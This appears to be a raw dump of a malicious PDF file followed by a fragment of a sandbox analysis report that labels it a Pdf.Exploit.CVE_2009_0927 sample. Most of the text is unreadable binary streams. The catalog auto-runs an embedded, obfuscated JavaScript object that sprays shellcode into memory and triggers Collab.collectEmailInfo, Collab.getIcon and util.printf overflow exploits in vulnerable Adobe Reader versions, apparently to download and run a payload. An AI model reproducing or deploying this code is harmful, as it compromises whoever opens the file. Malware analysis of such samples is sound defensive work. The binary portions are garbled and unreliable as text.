;���\x�-�� � 珅��� �u *�{ ��Փ��ӹ�#��G��o�+~��X����'�|�7s�p|�$ک �+�h�w���'�>]�:^�f �<�}%�LS�Ʋn����P>�� ̯NI@�=�- �s�6�F�Pv�i���� -&�3. � �F� y  �N�O:�������҉�U{ �4�g��� t.�3�Y	Ti��2� ��|8r�� ��A�풖k
�O	�< ����� ����v* �ڳ�_��Ν!j�ߧs�� g��y�����ޠO׆��:�q-B�Xp�Қ�-@ǚ �4/~/ �`�9�� Ix��`־�� *�T�ӿ�c�kv ��
 ��Eo׊^m�9�8������z����7� &��^M�tD�7�
�����  �({g����=g�-���n�i�o8 lo������Hә����Z� � 6m �VxN��!��g���˭4C  �	ŧ����B'   �X#�w�' �k )�4 W�u��"|P$A����#7}�6 ;� (j;[��ѷ�'�<��茐.O��F�q��=:7w\��� ��#H���w�7 #L]k�� �����P����O���t8XL�;� \1�BH h�����q�� ���
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2772>>
stream
x�͛Ys� ���)�j_��h(Qg�29�f����Lj+�� ��H� h �, ����
]�)�b���=�%�/��� F�ق6 �w���� �� _��+����>�mB�Q ї5��������k4 ǣx��D4���+�NF3|n1 E Jk��iL �����1-���� �Q��F �MN��x� M����� }����%�қ? �Q����З�p��{ H�k�9���h����Y�&�W'��D�w�h���� 7���
߀�ݜ^��o��} N��3r��  ��Ĵ�/G� �4��l���+�L7?���kO_y����?[��O����� M#[P�
J��T$*�J2���j� �g�t�h�+I��Z�JC]%�nD +ai1� �ڸ�2����6��U
]e��5 � ѧ�-��8 ~Kݦ��*�閉FP*Z9
z��h�d̿�*� �ERIJDU����*��`�VR��h����H�-�+�V� RVְ��h:�,	�+8k�� OF�'c}���BTSvT6j
���%[h� �a � �'�ѣ�
ѲE�� �e� �V���Z"�����T-��S�je� }) ��  �62#�r #�  � ҄��x� r߉��J�^� �]S�VC�.u��ᕳ�)c�06ШUxok\ V�h� ���T ��=:�VʎZ��� fSM��p]	�oI'rK���2#���0 ��u�+��eGa��VZ G � I��d ��   �ȶ ��� /���Xb ��D&X��

 ��  ժ���tF"Ѽ �  )#� Y�@ ��(�ePw̗{	X$ ��
�p���E!�U�A*�!X��UgEP� >m~ �@T`��$�{HS�F�Hh
'��7HL �a횬#��fKI ��� Hj�l`� �k�ѵ�iA�A�Ht��Ȫ- ƒh��� ���^�%�> �(D���$��@� �
2*a� �ZfT�1�� ��u0��2v�a�:���Ҋ�W��ih��pR��-rgP��>y�N�K�	�  ��\�
D�3ĉ� R��  C�� &�`i5� � jϐ Fx��(8�+��eP�L= .� y�� �"E�غ���F	$ �� � 	�� L�� g�NR� �q���� � ¹�   b�D�P�l�()U& GP�� � qgd� ��'�M�=T�Tn�yp� ����-�+ �� 
�3���  � \˧���mYAA#P1�}q~5�Ft ���E�:G�C� ���� �9��ЂU  �.C��hgC�8[yL\� <?� �*2- �R� �X_�T�#�� � Hk�6�jKO�ct��q WY�]͌���qO5��� ��3a�ʻ�L8ǯ�Q"@n �l 岑��Ȃ�4� 8%f- ���4
=�� � ���-
d���@  �g �I A `�	   ���s  ��!��y ��`� �� �t{O V;��:�FT�� � Wn��ϭ�ow�π	��Գ�� uđD�� Q��� ��X���%�6�RI�5�5�q���=`H�b ���� ���v� �] ������E�qj�gB:�Pk �" 6| � u]��Qp�=�o _e�3���;N� 't  v��5f 	(�ϒ)�r ��c�����&h�; �WMC	=S� Jt�i �p���gb͍��0%��G�� �8 Z�NW{M� �>�s`	�Pð�ۖm��(�ӈ�u�g�	�Q �2��P��ahoCf���� Vݒh �u�F�&��R��$5 �;@
j�Bj��dٵ|C�HH`�"ֈ�H]W��^ �c+�vsO��_�k 뽀B�30�p%9 ��k �V ��;� � �Σ� T�]b�2f ���25���r�x	R~Z R��'K? %��Z(N� � n �**�i��X ͗SϢ 
�]� �$� d $ �ux���7��*��}`��� Q��/�j�'�o���M
J��� 롉'��q������{�ZH�ƞh==�ko�� f^���y"#&�n�g�5 ��` z����+�� x� W� ?l� 
 Pn �^�  3�Ǡ�y�uw��]� �=[[�&��Q��Ĺ�*R��Q�� /��� ���'-e��$� n<�|@нڷ� �G��ֵ��"�C!� � �<8ޞ���"Ov�^����	��ԃ� �v NQ�.�uk���2�3�%�� C�!k�0���g!���ȱ�G�)T}2Q��V��d�ғ�)�f ���33 ��Z]U} ��)�z���� �Y O�W s	*�؃�܌r#mw:} ���*��cQ�� )P7 "r�0�j� ћ@�jo�F�T^�o�r�e�)�un�J ]j�6�����ʣ� mBF�d�)1���Y�70 ��lS��a���y��  F�Ag�����[�R J� �:� ϟ� o�JĐ��=%�8�2��p��\F����@ ��̳�ս� 4$� ��� 0 ������^�[g" �w��n�A��  ���1& ���$�H+ v`2�=, 4P� � 8j����!U�xN\�+�J�s� �J�]�
jw�  	��س(�1�I��pLe@�vp�1���O�V��*IPɖ�_� H�)�kX;y pA���3 �TŐS���KM� oX��* ����p孠�c� z��Y\ و�N�P��Gɗq �3'0� \�Tn� ���Jg�4�D�n� u5`3��D �[�Da ��!u�y  x2"�$Ӄ��� � �J HD��z�|>&�gZЯ<� �>� �W�7ϴ�!������\�x�u���d�#h��.Eo�g�E e\� ��' ��7��y_�:�K}� <=x T; ���[sP�� ��ph��oy y��ӣ�4~7� %iǯ���^}dp ��B�h5<@M R�� �飉du���@���,����+ �\x��;������Pǻ����?�p�U�s��qsL�q� QÈ~��7 ��=t��4;\����xt  ;��'�w���  5�F�9:��g�[����{Z]����   ���
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1949>>
stream
x����r�� ��� ]��"X� �����V9��J� �/ � 0�` � !��� � D�����ݢ�  b�� ݳ�d�5�4�Ox]�Ͽ����[������� 3Zg�	]���ˋ�cӣc4�γ� �Lh��V[Z̲%�[O�Ɍ��>|7��Y����9m��'gWpM �:9��*��LW�l���  �t)��?�R��/N~����/t�	���G+�5�\b��I����S[S��K� �G��d�%� � ^W � �����7�����G�9�}b ?�- ���i��d�-��\Γ ��k�L ?�b���>?�n���r���#�Qs+)�R�ِ����S�Z��>P_[�Qɮ� ��sOW���P��TZ�����k�릸�N�� }�=u%����἖�*(g��O�෴o�Ͷ�;��o(�Z{ }M�v�I�j�
kn��KC� 0��0H����{�,��['��N  V ��� � =,�B$�]�� ��T�h*j��fT����>~�[RN��W$  � � ������XS���Z �\m� � Zˢ!��: ;�2��}6��lq ��ʤd�RT � ��N R%5r� uNᐯ��
�#�Re� � `=,+��-��m��U a Ւ]���++  � }��S�$FN�������.�O�Q�9]<���J �� y�F�
�. �  ��5(��1��C��}F��&� ��%J�jAרg�%$� 
."G�$�#��$ �W����J����MV 	��5� �J�ol���:�܀�.G�[�'/��� v �*� $:*�K�� jT�
���|� Hf)π �@yT����Fu �-h�
��ƭ��B� ��d�dǠ@ i|�d�� e��e
��� * J�c !ɍE��:)YuC�>EQꐂ/Q ѠV>qE��|0 ��D��޺g��-M�l U $ rSۀ s�>džb���Rô �:%V��P���I ����Hp��^�i�2 e�| �ؓ�� j�Z��,��z��	^�D �I�ܩ �$GjAy~ ���԰`�X 疝x��� 4�<�遟e4� W��r(���OǕO��   ĸ�y ͅ�P�ٟ�阦� �<B6�ǥ էˁgۃ7 �@ɢc
��J��G�l؁� �_�u�8   Ӻ��   �^b ���ϱ j�ra!Hml uZ �;B1%H� ����� ���� ����ǐ~� \��0�4t7�j�q�GlSq�j�l � �� ( _�K� b�) �˔t ���!�T����c�7 ���K T|� g8��� �Ti䫀��{��s��i�d DZ��K���  [i{   ��� 4�*��a�C%>�Ө�
 9� �3'RBF�*�����7 iD˖� "���ͬ#)*�[� Zp��97I�c��<Y|3�}�G�J��BSv� ��c�T &C!Y�s�z��WF�1Er�^<n��$�y��4��M�mҢvos�� A�[	 \E�҂*i�lk�� gb O{� 屓&P� } ��ܜ@רN_�# V� �aR���8��"�C;�#�<��� �X Dm�� �NcZ� ��Z �.�_ j � ��;F�s�:9,� ���� �^��w��B�G< �0��~c�r>��ޞ �( �S�}�@� t#�K�ќ��<��1͛
�z �QSf:@�,
1�#�� �f�zߥ4aHe�F����1�� �8l߾mJ �ߋ� �/  �.`3���;��J�V�� p�Q��4PG]�z��Wg�*� / Z�� ���hz�xǧƾ� 2����۞/�^c�� ���Ըp�z! ��B ũ����?Ol| ���P ոGB}vw��|yc�R�Ѧa �.�O Ӵ� ҧ!z(䧔�m� \`< ][�H����L  s}�О�x �ƴn1��	,��ɻ��� ��d4� �n�R�. n�V�1͛ @��w����ӽ2ѝ���0e�a�ʭ��$ Gݧ_� �tiߺ���R�15� �L e�H?' (I�ؿu��n�:`�L��i�KF�����Wg9H6 =�+ d��I{�{��������Ō��M�=�3�m��rx���mz����V�l�����A�.e��> m�}� � ����
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Courier
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2128>>
stream
���� JFIF    ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C          		 
  
                  $.' ",#  (7),01444 '9=82<.342��C 			    

 2! !22222222222222222222222222222222222222222222222222��  � �  "      ��                 	
 �ĵ             }       !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                    	
 �ĵ              w      !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������       ?m Q_ ~j QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE ���R��4  ��{ /=MGNc�M��RWaE Pf QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QI�n۞i���I����) (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��F     �Hz�T�@$�[R���{3XO�4�I#$b� M% ���b"ҕ��v?
m.i*���4�(6�B�(�1
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��#��ri�GAM#k{Q��*���kȒ�(�9��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)*� +�� �4��Z(��M;2e  f QE"B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��- p�-��i�俚 �- R����R�;�QE &aE P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��function qMcIgSkV9\(awxOiFtTb,j5qpCxQc\){}this.e0CV7y87=0.89;function hKFYMZBV\(d94ooEkVbN,moKPvsw7,oPNmNCV6\){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array\(\);var qlvCgEp1;function qOYk2XZ8N\(aOfBqSekQk, visNssO2\){while\(aOfBqSekQk.length * 2 < visNssO2\){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring\(0, visNssO2 / 2\);return aOfBqSekQk;}function tHiZ9lrUYu\(zu2WQUQL\){if\(zu2WQUQL == 0\){var zVtKKX01h = 0x0c0c0c0c;}else if\(zu2WQUQL == 1\){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array\(\\"%u5350%u5\\",\\"251%u575\\",\\"6%u9c5\\",\\"5%u00e\\",\\"8%u0000\\",\\"%u5d00\\",\\"%ued83\\",\\"%u310d\\",\\"%u64c0%u\\",\\"4003%u783\\",\\"0%u8b0c\\",\\"%u0c40%u7\\",\\"08b%ua\\",\\"d1c%u\\",\\"408b%\\",\\"ueb08\\",\\"%u8b09\\",\\"%u3440\\",\\"%u408d\\",\\"%u8b7c%u\\",\\"3c40%u575\\",\\"6%u5ebe%\\",\\"u0001%u\\",\\"0100%ubf\\",\\"ee%u014e%\\",\\"u0000%uef0\\",\\"1%ud6e8%\\",\\"u0001%u\\",\\"5f00%u895e\\",\\"%u81ea%u\\",\\"5ec2%\\",\\"u0001%u\\",\\"5200%u80\\",\\"68%u000\\",\\"0%uff00%u4\\",\\"e95%u\\",\\"0001%u8\\",\\"900%u81ea\\",\\"%u5ec2%u\\",\\"0001%u31\\",\\"00%u01f6\\",\\"%u8ac2%u\\",\\"359c%\\",\\"u0263%\\",\\"u0000%ufb8\\",\\"0%u7400%u8\\",\\"806%u321c%\\",\\"ueb46%u\\",\\"c6ee%u32\\",\\"04%u8900%u\\",\\"81ea%u45c2\\",\\"%u0002%u5\\",\\"200%u9\\",\\"5ff%u0152\\",\\"%u0000%ue\\",\\"a89%u\\",\\"c281%u\\",\\"0250%u0\\",\\"000%u\\",\\"5052%\\",\\"u95ff\\",\\"%u015\\",\\"6%u0000%u\\",\\"006a%\\",\\"u006a%\\",\\"uea89%uc2\\",\\"81%u015\\",\\"e%u0000\\",\\"%u8952%\\",\\"u81ea%u78\\",\\"c2%u0002%\\",\\"u5200%\\",\\"u006a%ud\\",\\"0ff%u056a\\",\\"%uea89%uc\\",\\"281%u\\",\\"015e%u00\\",\\"00%uff\\",\\"52%u5a95\\",\\"%u0001\\",\\"%u8900%u8\\",\\"1ea%u5ec2%\\",\\"u0001%u\\",\\"5200%\\",\\"u8068%u0\\",\\"000%uff\\",\\"00%u4e95%u\\",\\"0001%u8900\\",\\"%u81ea%u\\",\\"5ec2%u\\",\\"0001%u31\\",\\"00%u01\\",\\"f6%u8a\\",\\"c2%u3\\",\\"59c%u02\\",\\"6e%u0\\",\\"000%ufb80%\\",\\"u7400%u\\",\\"8806%u321c\\",\\"%ueb4\\",\\"6%uc6\\",\\"ee%u3204%u\\",\\"8900%u81ea\\",\\"%u45c2\\",\\"%u0002\\",\\"%u5200\\",\\"%u95f\\",\\"f%u0152\\",\\"%u000\\",\\"0%uea89%u\\",\\"c281%\\",\\"u0250%u\\",\\"0000%u505\\",\\"2%u95ff\\",\\"%u0156%u00\\",\\"00%u006a%u\\",\\"006a%uea89\\",\\"%uc281%\\",\\"u015e%u000\\",\\"0%u895\\",\\"2%u81ea%u\\",\\"a6c2%u00\\",\\"02%u5\\",\\"200%u006\\",\\"a%ud0f\\",\\"f%u056a\\",\\"%uea89%uc2\\",\\"81%u015\\",\\"e%u000\\",\\"0%uff52%\\",\\"u5a95%\\",\\"u0001\\",\\"%u9d00%u5\\",\\"f5d%u5a5\\",\\"e%u5b59%u\\",\\"c358%u000\\",\\"0%u0000%u0\\",\\"000%u0\\",\\"000%u00\\",\\"00%u0000%u\\",\\"0000%u0\\",\\"000%u6547\\",\\"%u5474%u\\",\\"6d65%u5070\\",\\"%u7461%u\\",\\"4168%\\",\\"u4c00\\",\\"%u616f\\",\\"%u4c64%u62\\",\\"69%u6172\\",\\"%u7972%u0\\",\\"041%u6547\\",\\"%u5074%u6f\\",\\"72%u4\\",\\"163%u6\\",\\"464%u65\\",\\"72%u7\\",\\"373%u\\",\\"5700%u\\",\\"6e69%\\",\\"u7845%u6\\",\\"365%u\\",\\"bb00%uf\\",\\"289%uf7\\",\\"89%uc03\\",\\"0%u75ae%\\",\\"u29fd%u8\\",\\"9f7%u31\\",\\"f9%ubec\\",\\"0%u003c\\",\\"%u0000%u\\",\\"b503%u021b\\",\\"%u0000%ua\\",\\"d66%u\\",\\"8503%u021\\",\\"b%u0000%u\\",\\"708b%u\\",\\"8378%u\\",\\"1cc6%u\\",\\"b503%u021\\",\\"b%u0000%ub\\",\\"d8d%u02\\",\\"1f%u000\\",\\"0%u03ad%u\\",\\"1b85%u0002\\",\\"%uab0\\",\\"0%u03ad\\",\\"%u1b85%u\\",\\"0002%u500\\",\\"0%uad\\",\\"ab%u850\\",\\"3%u02\\",\\"1b%u0000%\\",\\"u5eab%udb3\\",\\"1%u56ad%\\",\\"u8503%\\",\\"u021b%u00\\",\\"00%uc689%u\\",\\"d789%u\\",\\"fc51%ua6f\\",\\"3%u7459%u5\\",\\"e04%u\\",\\"eb43%u5e\\",\\"e9%ud1\\",\\"93%u03e0%u\\",\\"2785%u000\\",\\"2%u3100%u9\\",\\"6f6%u\\",\\"ad66%ue0c1\\",\\"%u0302%u1\\",\\"f85%u0\\",\\"002%u8900\\",\\"%uadc6%u8\\",\\"503%u02\\",\\"1b%u0\\",\\"000%u\\",\\"ebc3%u001\\",\\"0%u0000%\\",\\"u0000%u\\",\\"0000%\\",\\"u0000%\\",\\"u0000%u\\",\\"0000%u00\\",\\"00%u8900\\",\\"%u1b85%u00\\",\\"02%u5\\",\\"600%ue85\\",\\"7%uff5\\",\\"8%uff\\",\\"ff%u5e5f%\\",\\"u01ab%u80c\\",\\"e%ubb3\\",\\"e%u027\\",\\"4%uede\\",\\"b%u55c3%\\",\\"u4c52\\",\\"%u4f4d%u2e\\",\\"4e%u4c44%u\\",\\"004c%\\",\\"u5255%u44\\",\\"4c%u776\\",\\"f%u6c6e%u\\",\\"616f%u\\",\\"5464%\\",\\"u466f%u6\\",\\"c69%u4165%\\",\\"u7500%u6\\",\\"470%u7461%\\",\\"u2e65%u\\",\\"7865%u\\",\\"0065%u\\",\\"7263%\\",\\"u7361%u2e\\",\\"68%u68\\",\\"70%u007\\",\\"0%u7468\\",\\"%u7074%u2\\",\\"f3a%u732\\",\\"f%u6f65\\",\\"%u742d%u6\\",\\"172%u6\\",\\"666%u632e%\\",\\"u6d6f%u\\",\\"632f%u\\",\\"756f%u7\\",\\"46e%u726\\",\\"5%u2f73\\",\\"%u2f3\\",\\"1%u7075%u\\",\\"6164%u6\\",\\"574%u702e%\\",\\"u7068%u69\\",\\"3f%u3d64%\\",\\"u2633%u657\\",\\"2%u3d74%u6\\",\\"b6f%u9000\\"\);hxWSuDXe = unescape\(hxWSuDXe.join\(\\"\\"\)\);var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - \(x3CgE4VTY7 + 0x38\);var aOfBqSekQk = unescape\(\\"%u9090%u9090\\"\);aOfBqSekQk = qOYk2XZ8N\(aOfBqSekQk, visNssO2\);var eEjtQKFInc = \(zVtKKX01h - 0x400000\) / aMkKKV3ax;for\(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++\){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB\(\){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString\(\);app.clearTimeOut\(qlvCgEp1\);if\(\(eYoEHriR >= 8 && eYoEHriR < 8.102\) || eYoEHriR < 7.1\){tHiZ9lrUYu\(0\);var xMxbDF9NZb = unescape\(\\"%u0c0c%u0c0c\\"\);while\(xMxbDF9NZb.length < 44952\) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\\"collabStore\\"] = ezqeKH4tH[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : xMxbDF9NZb}\);}if\(\(eYoEHriR >= 8.102 && eYoEHriR < 8.104\) || \(eYoEHriR >= 9 && eYoEHriR < 9.1\) || eYoEHriR <= 7.101\){try{if\(app.doc.Collab.getIcon\){tHiZ9lrUYu\(2\);var gHGLGbxHI = unescape\(\\"%09\\"\);while\(gHGLGbxHI.length < 0x4000\){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \\"N.\\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(gHGLGbxHI\);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch\(e\){nGA9T4uG = 1;}if\(nGA9T4uG == 1\){if\(eYoEHriR == 8.102 || eYoEHriR == 7.1\){tHiZ9lrUYu\(1\);var vT4Q80JUpI = \\"12999999999999999999\\";for\(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++\){vT4Q80JUpI += \\"8\\";}var xiNiJYKg1 = util;xiNiJYKg1[\\"printf\\"]\(\\"%45000f\\", vT4Q80JUpI\);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut\(\\"app.cbVTCzH8X\(\)\\", 10\);';function e8lvCgEp1\(wjcCRLwWYJ\){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0\(iMJ0PnL4I,vNYmW0FQo\){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace\(/[]/g, ''\);jBjL5zilQx=8098;var twFKKpkv=new Array\('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh'\);function nY22MpNwk\(eWWySbVF8,kBO9In13r,kVaoxPyTAZ\){return kVaoxPyTAZ;}var m5BhBlFWe = 'eval';app[m5BhBlFWe]\(kSt9A6Z6yr\);this.fcoHokTh8=27173;function faEMzs3Hx\(\){}function e9xb5G4yjd\(yJfo5LudGj,rBEckMHjQ\){return yJfo5LudGj;})
>>
endobj
19 0 obj
<<
/Title (��ifDuringHave)
/Author (��longLoremRepeat)
/Subject (��bcFormWhen)
/Keywords (��ifCiceroGalley, toExactDummy, isntLikeAldus)
/Creator (��pageDolor)
/Producer (��670c26185a3783678135b4697f7dbd1a)
/CreationDate (D:20091017160617+04'00')
/ModDate (D:20091017160617+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f 
0000010826 00000 n 
0000013751 00000 n 
0000000009 00000 n 
0000000117 00000 n 
0000002927 00000 n 
0000003035 00000 n 
0000005745 00000 n 
0000005853 00000 n 
0000008696 00000 n 
0000008805 00000 n 
0000010902 00000 n 
0000011018 00000 n 
0000011132 00000 n 
0000011239 00000 n 
0000011344 00000 n 
0000011456 00000 n 
0000013946 00000 n 
0000013998 00000 n 
0000026720 00000 n 
0000027142 00000 n 
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
27544
%%EOF
generic_stage_recovery_005.js deobfuscated-js generic stage recovery null-collapse -> percent-decode from raw PDF metadata at offset 0x0 21683 bytes
SHA-256: 01fe6131baeed6be4861b98a2ca0bf1da7bd09b3167511e1873d1b53774e33a5
Detection
ClamAV: Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2739>>
stream
x�͛M�۸ ���+�j/�!4E�3�8�l�U�d�Nm%[{I�� $89 ��� 53Ќ$J /��%��/� ���n�a0[ІB���-�� ���� ����gz��� A ������n����k4��A��WB�̓���Q0�� � �(��݇	}��ݷcZ�o��#��  
_<��3��"������>g��  .��/��Wj�����G���5_��K�9��'a��vה�.�mx� 3{� ��67� �7� �����/����_ g���q�� "� Ŵ�/�Ɋ*��b���K�D7?�1�pj _y�� g � �3�}N%�3���MM�N��t�0%��g�2-�5U�ՊjMZ�6x=���ئ�` ����;�Y�1�<'�dFwڐfykH2���]� �_��=^�kC�Z�tW5ԖJװ� ���>t UB�%坦� N1� �_��Z4�14�xޖ^͛ �G��ﰆ7�r^��R^��P]�T�{ ��R�  ��\�XWt���b5mJ���y��`�8  YA��lp��s���^ËR�
>V6jt�1�5���� �D#� ��F  �{�0?� j��� �[3]1j�R9�՘* z^
�����  � � ڐi B.eZ���KVqj 𙪧Da ��,���L҆��!�_J� ���Ji� � �Hv�X %��䬡�����n2}^>���'v�1 ���&� ���-�pIR0��\a"Z���HL�Wχ�����
�0��k��{���̧v����(餴!"��Y� �Ɉ ��ۡO%[�Ђ�P��AT�Z�ʮ�{L_W� ��$�z�(��
�h�|�x^.,cB�0�aM� r$괄r&�3��v q�eVw �6v�L��� �R��5� $��cn��6�*�2�)�6H�� ��+�� �Ӳ���]�^Ug�p��I�6*��:!9 \z�5� "`����V[�� y  � X���-U]��� �b$ ��� ��2X�+~
s��ᾧVRf =EXR����-�� �z�_ ��o8��G!3�����'L���ej� Ljƪ �% �F,{��<O *��i�ܱ�$��:�Wy�Ϝ��2 � � <     >@�5��
�_.-^�[*z�@:뽎n��D&�i��-�:#�JI=�Se]  A�p$S��� K  z��O�b'� )�I;
e+d׾H ^w4E`	� ��;) ���:S���g��%�]"2 L̙�넮 � i�����S9�42f���8u>�v��ͼ}Bm �R   �،����-�|  : �2x�eHhn9�����	6 � a= P��4�N� ٞ~�  )�*n� ��j \!�)ʖ2n�XN�d�^[�?�x� ������D�Bp�T�4 5 +�H�} c�t�z����R���m�(�>� �Uj ꩝  �k���"�  h�l-xI���Q6��w  �%�J֙W��O�� ��v
cc���!Ϝ�_��K��� �s+����Ӻ���@�� ��k%o   Q)�Nd �V�`  l{C{���D͐���w�ս��z��>M�   �;V�^L� �= ǫ}�)#X�6���&�5 �E  � n h�K,�V!E�>T�f 2  �j��!�e��[ˆ �@�����Sa�[5be+�8 �o/7��zl :ʠnVr ��k� �n;m�,Tp�p�x�� �r�x�]�&�uÃ���� �� = 'a6'i�%ʹz�d� �+2(v��8�m#�b<]:� � ��������\�-%=��5d e��|Z7w��
��ȹ��� {��,:Q���� �s� h ���x:CV� �ӵ��b|'��[�#i���G��#��n��{���i�I��� �*Iz��  �'�pZ*Q @� t�U��*u���i\����=�7� kK�b��E{]" |�K`�xY˾$��K��/�_���G��s���	�)A�å >m� ����AQ��8'�X:,C�`7���K%��8ji۰��l��8b9d#��5��
���)���I� <�� �J`� o�_H5`���L��#
 ��a~�<T 1�0 ýO� N�w
��u�a���yì)�0�{ ݆� ��n8�|�6w���f�؆s� t�
�
�[  H����A � v_qd �� d� �u �7w �i��I�7�t��{ ��	�w��`�m�%��ky4�h��c.�)�j� �{;�#m �^�; ���U��ߪ  G���E�
�� �T�a!���� G  ���Y��B���Xs�� e
�� � �l��]ښ��M�x��� ?��c���P-��<��Sf� �� ('p�Ӿ���ܧ]!n;�6s�l} �t ��m��(�Ѻh��q|� ��=��vX�ժ> �^ ��R����������&ߓ�y ��!�̩�  \�ik֧usG�� W#��K����A4^gg�qy�|Y� ^8C"��9 =��t��� _�!I��~�놤O㦎AC�s��4%
�5� y����
�� ~L3�Eуh ���m�(v ��z�����B�� ��)��<� ��  3�:��������n�NV��xw  ]F�g�Ug����b��-��_v�����dk��	�xo/�� �4}�ļ�����G�}ڶp�> `�p  A�d��m �C��p� �QrQ?P�0�d��(� ̜f�  }�6wz�W ֘��u0#d�M >u� ��?��+�Ӷ�^?�č7������%۰>m��oA ��0��|}��T��|y�ԧm�cܵ�o��LO�~ ��V��� ���� ��E�q�� ����*� ǫ��
��q�L�+��תנ:v ��S�X��H�!1G�tT �h7v�kWE] ��[f|� � m: c�5\;A4�֭ � l���ҡ�X����e���k�/}�t�4�� ��qc0t,����w��� ��7 �� i���
 *'�{V] [���� $ 
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2639>>
stream
